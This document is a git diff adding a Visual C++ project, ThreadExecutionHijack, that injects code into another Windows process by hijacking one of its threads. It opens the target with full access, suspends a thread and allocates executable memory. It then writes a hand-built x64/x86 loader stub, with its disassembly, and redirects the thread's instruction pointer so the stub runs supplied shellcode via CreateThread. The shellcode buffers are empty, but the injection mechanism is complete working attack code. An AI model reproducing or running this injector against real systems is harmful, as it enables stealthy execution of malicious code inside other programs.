{57702FE8-7870-43C2-87E2-C0008368A742}.Debug|x86.ActiveCfg = Debug|Win32 + {57702FE8-7870-43C2-87E2-C0008368A742}.Debug|x86.Build.0 = Debug|Win32 + {57702FE8-7870-43C2-87E2-C0008368A742}.Release|x64.ActiveCfg = Release|x64 + {57702FE8-7870-43C2-87E2-C0008368A742}.Release|x64.Build.0 = Release|x64 + {57702FE8-7870-43C2-87E2-C0008368A742}.Release|x86.ActiveCfg = Release|Win32 + {57702FE8-7870-43C2-87E2-C0008368A742}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/ReadMe.txt b/ThreadExecutionHijack/ThreadExecutionHijack/ReadMe.txt new file mode 100755 index 0000000..062026a --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : ThreadExecutionHijack Project Overview +======================================================================== + +AppWizard has created this ThreadExecutionHijack application for you. + +This file contains a summary of what you will find in each of the files that +make up your ThreadExecutionHijack application. + + +ThreadExecutionHijack.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +ThreadExecutionHijack.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +ThreadExecutionHijack.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named ThreadExecutionHijack.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.cpp b/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.cpp new file mode 100755 index 0000000..2d2273b --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.cpp @@ -0,0 +1,232 @@ +// ThreadExecutionHijack.cpp : Defines the entry point for the console application. +// + +//http://www.rohitab.com/discuss/topic/40579-dll-injection-via-thread-hijacking/ +//https://gist.github.com/CoolOppo/fa2b60f59eb5d748779a + + +#include "stdafx.h" +#include "general.h" +#include +#include +#include + +unsigned char scx64[] = "" +unsigned char scx86[] = "" + +int wmain(int argc, wchar_t**argv) //to read in arguments as unicode +{ + if (argc != 2) + { + printf("Usage: threadexecutionhijack.exe [process name]\n"); + return -1; + } + + //find the process ID by name + DWORD pid = FindPIDByName(argv[1]); + printf("[+] PID is: %d,0x%x\n", (UINT)pid, (UINT)pid); + + //open process with all access + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == NULL) + { + ErrorExit(TEXT("OpenProcess")); + } + printf("[+] Process handle: 0x%Ix\n", (SIZE_T)hProcess); + + DWORD tid = FindThreadInPID(pid); + + //open thread + HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid); + if (!hThread) + { + ErrorExit(TEXT("OpenThread")); + } + printf("[+] Thread handle: 0x%Ix\r\n", (SIZE_T)hThread); + + LPCONTEXT lpContext = new CONTEXT(); + lpContext->ContextFlags = CONTEXT_FULL; + + if (SuspendThread(hThread) == -1) + { + ErrorExit(TEXT("SuspendThread")); + } + printf("[+] Thread suspended\r\n"); + + if (!GetThreadContext(hThread, lpContext)) + { + ErrorExit(TEXT("GetThreadContext")); + } + + // put code here to check if a thread is in the middle of a system call or not + + //allocate memory in target process for shellcode + LPVOID lpSCBaseAddress = (LPVOID)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (lpSCBaseAddress == NULL) + { + ErrorExit(TEXT("VirtualAllocEx")); + } + printf("[+] Allocated memory address in target process for shellcode: 0x%Ix\r\n", (SIZE_T)lpSCBaseAddress); + + //allocate memory in target process for loader + LPVOID lpLoaderBaseAddress = (LPVOID)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (lpLoaderBaseAddress == NULL) + { + ErrorExit(TEXT("VirtualAllocEx")); + } + printf("[+] Allocated memory address in target process for loader: 0x%Ix\r\n", (SIZE_T)lpLoaderBaseAddress); + + DWORD size = 0, loader_size=0; +#ifdef _WIN64 + LPVOID sc = scx64; + size = sizeof(scx64); + loader_size = 104; + lpContext->Rsp -= 8; // Allocate space on stack for the return address + if (!WriteProcessMemory(hProcess, (PVOID)lpContext->Rsp, &lpContext->Rip, sizeof(SIZE_T), NULL)) // Write orginal eip into target thread's stack + { + ErrorExit(TEXT("WriteProcessMemory")); + } + lpContext->Rip = (SIZE_T)lpLoaderBaseAddress; + + /* + 0: 9c pushf + 1: 50 push rax + 2: 51 push rcx + 3: 52 push rdx + 4: 53 push rbx + 5: 55 push rbp + 6: 56 push rsi + 7: 57 push rdi + 8: 41 50 push r8 + a: 41 51 push r9 + c: 41 52 push r10 + e: 41 53 push r11 + 10: 41 54 push r12 + 12: 41 55 push r13 + 14: 41 56 push r14 + 16: 41 57 push r15 + 18: 48 83 ec 28 sub rsp,0x28 + 1c: 48 c7 c1 00 00 00 00 mov rcx,0x0 + 23: 48 c7 c2 00 00 00 00 mov rdx,0x0 + 2a: 49 b8 88 77 66 55 44 movabs r8,0x1122334455667788 + 31: 33 22 11 + 34: 49 c7 c1 00 00 00 00 mov r9,0x0 + 3b: 6a 00 push 0x0 + 3d: 6a 00 push 0x0 + 3f: 48 a1 88 77 66 55 44 movabs rax,ds:0x1122334455667788 + 46: 33 22 11 + 49: ff d0 call rax + 4b: 48 83 c4 38 add rsp,0x38 + 4f: 41 5f pop r15 + 51: 41 5e pop r14 + 53: 41 5d pop r13 + 55: 41 5c pop r12 + 57: 41 5b pop r11 + 59: 41 5a pop r10 + 5b: 41 59 pop r9 + 5d: 41 58 pop r8 + 5f: 5f pop rdi + 60: 5e pop rsi + 61: 5d pop rbp + 62: 5b pop rbx + 63: 5a pop rdx + 64: 59 pop rcx + 65: 58 pop rax + 66: 9d popf + 67: c3 ret + + */ + unsigned char loader[] = "\x9C\x50\x51\x52\x53\x55\x56\x57\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xEC\x28\x48\xC7\xC1\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x49\xB8\x88\x77\x66\x55\x44\x33\x22\x11\x49\xC7\xC1\x00\x00\x00\x00\x6A\x00\x6A\x00\x48\xA1\x88\x77\x66\x55\x44\x33\x22\x11\xFF\xD0\x48\x83\xC4\x38\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59\x41\x58\x5F\x5E\x5D\x5B\x5A\x59\x58\x9D\xC3"; + + LPVOID CreateThread_Address = CreateThread; + printf("[i] CreateThread address: 0x%Ix\r\n", (SIZE_T)CreateThread_Address); + + PutDwordIntoCharX64((SIZE_T)lpSCBaseAddress, loader, 44); + PutDwordIntoCharX64((SIZE_T)lpLoaderBaseAddress + 200, loader, 65); + + printf("[+] Loader shellcode:"); + for (size_t i = 0; i != loader_size; i++) { + printf("\\x%02x", (unsigned char)loader[i]); + } + printf("\r\n"); + + +#endif + +#ifdef _X86_ + LPVOID sc = scx86; + size = sizeof(scx86); + loader_size = 26; + lpContext->Esp -= 4; // Allocate space on stack for the return address + if (!WriteProcessMemory(hProcess, (PVOID)lpContext->Esp, &lpContext->Eip, sizeof(PVOID), NULL)) // Write orginal eip into target thread's stack + { + ErrorExit(TEXT("WriteProcessMemory")); + } + lpContext->Eip = (SIZE_T)lpLoaderBaseAddress; + /* + 0: 60 pusha + 1: 9c pushf + 2: 6a 00 push 0x0 + 4: 6a 00 push 0x0 + 6: 6a 00 push 0x0 + 8: 68 44 55 66 77 push 0x77665544 //address of SC + d: 6a 00 push 0x0 + f: 6a 00 push 0x0 + 11: ff 15 44 33 22 11 call DWORD PTR ds:0x11223344 // memory address where CreateThread address is stored + 17: 9d popf + 18: 61 popa + 19: c3 ret + */ + unsigned char loader[] = "\x60\x9C\x6A\x00\x6A\x00\x6A\x00\x68\x44\x55\x66\x77\x6A\x00\x6A\x00\xFF\x15\x44\x33\x22\x11\x9D\x61\xC3"; + + LPVOID CreateThread_Address = CreateThread; + printf("[i] CreateThread address: 0x%Ix\r\n", (SIZE_T)CreateThread_Address); + + PutDwordIntoCharX86((SIZE_T)lpSCBaseAddress, loader, 9); + PutDwordIntoCharX86((SIZE_T)lpLoaderBaseAddress + 200, loader, 19); + + printf("[+] Loader shellcode:"); + for (size_t i = 0; i != loader_size; i++) { + printf("\\x%02x", (unsigned char)loader[i]); + } + printf("\r\n"); +#endif + + + // write shellcode to target process + if (!WriteProcessMemory(hProcess, lpSCBaseAddress, sc, size, NULL)) + { + ErrorExit(TEXT("WriteProcessMemory")); + } + printf("[+] Wrote shellcode to the target process\r\n"); + + // write loader to target process + if (!WriteProcessMemory(hProcess, lpLoaderBaseAddress, loader, loader_size, NULL)) + { + ErrorExit(TEXT("WriteProcessMemory")); + } + printf("[+] Wrote loader to the target process\r\n"); + + // write CreateThread_Address to target process + if (!WriteProcessMemory(hProcess, (LPVOID)((SIZE_T)lpLoaderBaseAddress + 200), &CreateThread_Address, sizeof(SIZE_T), NULL)) + { + ErrorExit(TEXT("WriteProcessMemory")); + } + printf("[+] Wrote CreateThread_Address to the target process\r\n"); + + system("pause"); + + //update threat context + if (!SetThreadContext(hThread, lpContext)) + { + ErrorExit(TEXT("SetThreadContext")); + } + printf("[+] Thread context updated\r\n"); + + if (!ResumeThread(hThread)) + { + ErrorExit(TEXT("ResumeThread")); + } + printf("[+] Thread resumed\r\n"); + +} diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.vcxproj b/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.vcxproj new file mode 100755 index 0000000..81f746a --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {57702FE8-7870-43C2-87E2-C0008368A742} + Win32Proj + ThreadExecutionHijack + 10.0.14393.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Use + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.vcxproj.filters b/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.vcxproj.filters new file mode 100755 index 0000000..50e51e6 --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/ThreadExecutionHijack.vcxproj.filters @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/general.cpp b/ThreadExecutionHijack/ThreadExecutionHijack/general.cpp new file mode 100755 index 0000000..876daf0 --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/general.cpp @@ -0,0 +1,163 @@ +#include "stdafx.h" +#include +#include +#include +#include + +#define STATUS_SUCCESS 1 +#define STATUS_FAIL -1 + +//source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx +void ErrorExit(LPTSTR lpszFunction) +{ + // Retrieve the system error message for the last-error code + LPVOID lpMsgBuf; + DWORD dw = GetLastError(); + + FormatMessage( + FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dw, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR)&lpMsgBuf, + 0, NULL); + + // Display the error message and exit the process + wprintf(L"[-] %s failed with error 0x%x: %s", lpszFunction, dw, lpMsgBuf); + + LocalFree(lpMsgBuf); + ExitProcess(dw); +} + +DWORD FindPIDByName(LPWSTR pName) +{ + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if ((DWORD)snapshot < 1) + { + ErrorExit(TEXT("CreateToolhelp32Snapshot")); + } + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (NULL != wcsstr(pEntry.szExeFile, pName)) + { + return pEntry.th32ProcessID; + } + } + ErrorExit(TEXT("Process32Next")); + } + else + { + ErrorExit(TEXT("Process32First")); + } + + CloseHandle(snapshot); + return 0; +} + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + ErrorExit(TEXT("GetModuleHandleA")); + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL == pvFunctionAddress) + { + ErrorExit(TEXT("GetProcAddress")); + } + + *ppvFunctionAddress = pvFunctionAddress; + return STATUS_SUCCESS; +} + +DWORD FindThreadInPID(DWORD pid) +{ + printf("[*] Finding a thread to hijack in the given process\r\n"); + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) + { + ErrorExit(TEXT("CreateToolhelp32Snapshot")); + } + + HANDLE hThread; + THREADENTRY32 te32; + te32.dwSize = sizeof(te32); + + if (!Thread32First(hSnapshot, &te32)) + { + ErrorExit(TEXT("Thread32First")); + } + + BOOL found_thread = FALSE; + while (Thread32Next(hSnapshot, &te32)) + { + if (te32.th32OwnerProcessID == pid) + { + printf("[+] Found thread in target process\r\n"); + found_thread = TRUE; + break; + } + } + + CloseHandle(hSnapshot); + if (found_thread) + { + return te32.th32ThreadID; + } + else + { + printf("[-] Couldn't find thread, exiting...\r\n"); + ExitProcess(-1); + } + +} + +void PutDwordIntoCharX86(SIZE_T address, unsigned char* sc, int position) +{ + BYTE b_1 = (address >> 24) & 0xff; + BYTE b_2 = (address >> 16) & 0xff; + BYTE b_3 = (address >> 8) & 0xff; + BYTE b_4 = address & 0xff; + + sc[position] = b_4; + sc[position + 1] = b_3; + sc[position + 2] = b_2; + sc[position + 3] = b_1; + + return; +} + +void PutDwordIntoCharX64(SIZE_T address, unsigned char* sc, int position) +{ + BYTE b_1 = (address >> 56) & 0xff; + BYTE b_2 = (address >> 48) & 0xff; + BYTE b_3 = (address >> 40) & 0xff; + BYTE b_4 = (address >> 32) & 0xff; + BYTE b_5 = (address >> 24) & 0xff; + BYTE b_6 = (address >> 16) & 0xff; + BYTE b_7 = (address >> 8) & 0xff; + BYTE b_8 = address & 0xff; + + sc[position] = b_8; + sc[position + 1] = b_7; + sc[position + 2] = b_6; + sc[position + 3] = b_5; + sc[position + 4] = b_4; + sc[position + 5] = b_3; + sc[position + 6] = b_2; + sc[position + 7] = b_1; + + return; +} \ No newline at end of file diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/general.h b/ThreadExecutionHijack/ThreadExecutionHijack/general.h new file mode 100755 index 0000000..0b8e807 --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/general.h @@ -0,0 +1,14 @@ +#pragma once +#include +DWORD FindPIDByName(LPWSTR pName); + +void ErrorExit(LPTSTR lpszFunction); + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress); +DWORD FindThreadInPID(DWORD pid); + +void PutDwordIntoCharX86(SIZE_T address, unsigned char* sc, int position); +void PutDwordIntoCharX64(SIZE_T address, unsigned char* sc, int position); + +#define STATUS_SUCCESS 1 +#define STATUS_FAIL -1 \ No newline at end of file diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/stdafx.cpp b/ThreadExecutionHijack/ThreadExecutionHijack/stdafx.cpp new file mode 100755 index 0000000..05978ed --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// ThreadExecutionHijack.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/stdafx.h b/ThreadExecutionHijack/ThreadExecutionHijack/stdafx.h new file mode 100755 index 0000000..47a0d02 --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/ThreadExecutionHijack/ThreadExecutionHijack/targetver.h b/ThreadExecutionHijack/ThreadExecutionHijack/targetver.h new file mode 100755 index 0000000..90e767b --- /dev/null +++ b/ThreadExecutionHijack/ThreadExecutionHijack/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include